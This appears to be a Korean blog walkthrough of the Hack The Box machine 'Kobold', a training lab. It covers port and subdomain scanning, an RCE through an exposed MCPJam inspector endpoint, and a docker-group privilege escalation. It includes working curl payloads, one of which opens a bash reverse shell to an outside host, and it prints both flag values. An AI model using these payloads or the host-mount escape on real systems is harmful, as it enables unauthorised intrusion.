본문 바로가기
레드팀/HackTheBox

[HTB] Kobold 풀이

by jwcs 2026. 4. 12.
728x90
반응형

https://app.hackthebox.com/machines/Kobold

 

Hack The Box

 

app.hackthebox.com

 

초기 침투 및 User Flag 획득

포트 스캐닝

nmap -sS --top-ports=1000 kobold.htb

nmap 결과

포트 스캐닝 결과 22, 80, 443 포트가 열려 있음을 확인할 수 있다.

 

nmap -sC -sV -p 22,80,443 kobold.htb

열려있는 포트에 대해 자세한 정보를 얻기 위해 기본 NSE 스크립트와 버전 정보 확인 옵션을 주어서 다시 돌렸다.

포트 정보 확인

서브 도메인이 존재할 수 있다는 내용을 확인했다.

 

서브 도메인 스캐닝

ffuf -u https://kobold.htb/ -w /usr/share/dirb/wordlists/common.txt -H "Host: FUZZ.kobold.htb" -fs 154

ffuf를 이용해서 서브 도메인을 찾았다. 핵더박스에서는 가상 호스트를 사용하기 때문에 Host 헤더에 FUZZ를 넣어주었다.

존재하지 않는 페이지에 대한 응답 사이즈가 154이었기 때문에 -fs 154의 조건을 넣었다.

 

ffuf 결과

그 결과 bin과 mcp 서브 도메인을 찾았다.

 

/etc/hosts

위 사진과 같이 hosts 파일에 서브 도메인 주소도 넣어주었다.

 

MCPJam

MCPJam

MCP 서브 도메인에서는 MCPJam이 돌아가고 있다.

 

https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6

 

REC in MCPJam inspector due to HTTP Endpoint exposes

### Summary MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, whi...

github.com

 

버전 체크는 못했지만 CVE-2026-23744가 존재하는 오픈 소스임을 확인했다. 이는 RCE가 가능한 취약점이다. 이를 통해 리버스쉘을 연결했다.

 

python -m http.server 9999

파이썬으로 서버를 만들어서 rce가 되는지 테스트해보았다. kali에서 위 명령어를 쳐주자.

 

curl -L -k https://mcp.kobold.htb/api/mcp/connect \
-H "Host: mcp.kobold.htb" \
-H "Content-Type: application/json" \
--data '{"serverConfig":{"command":"curl","args":["http://10.10.16.6:9999/"]},"serverId":"test"}'

위 요청을 통해 파이썬 서버에 요청이 들어온다면 성공이다.

 

서버 예시

위와 같은 요청이 오면 성공이다.

 

curl -L -k https://mcp.kobold.htb/api/mcp/connect \
-H "Host: mcp.kobold.htb" \
-H "Content-Type: application/json" \
--data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.16.6/8888 0>&1"]},"serverId":"test"}'

위와 같은 요청으로 리버스 쉘을 연결할 수 있다.

 

ben 계정 획득

처음부터 ben 계정을 얻을 수 있었기 때문에 바로 User Flag를 얻어 주었다.

User Flag

40dfa5d2b21e9ee6093e8cc8e53e89d9

짜잔

 

Root Flag

시스템을 탐색하면서 docker를 확인해봤다.

permission denied

권한 문제가 발생했다. 이를 우회하기 위한 방법을 현재까지 2가지 조사했다.

 

  1. newgrp 명령어
  2. sg 명령어

각각 사용 예시는 아래와 같다.

newgrp docker
docker ps
sg docker -c "docker ps"

 

docker 컨테이너는 기본적으로 컨테이너 내부에서 root 권한으로 실행된다. 따라서 호스트 전체 파일 시스템을 컨테이너 내부의 /mnt로 마운트 시켜서 루트 권한의 파일을 읽을 수 있다.

예시 명령어는 아래와 같다.

docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2

 

아래의 명령어로 Root Flag를 읽을 수 있다.

cat /mnt/root/root.txt

Root Flag

dfe0b35b5cec10d974e9ea6c440310dc

 

728x90
반응형

'레드팀 > HackTheBox' 카테고리의 다른 글

[HTB] Facts 풀이  (0) 2026.05.03
[HTB] Conversor 풀이  (0) 2026.03.20
[HTB-Academy] Penetration Tester Path - Network Enumeration with Nmap  (0) 2025.12.22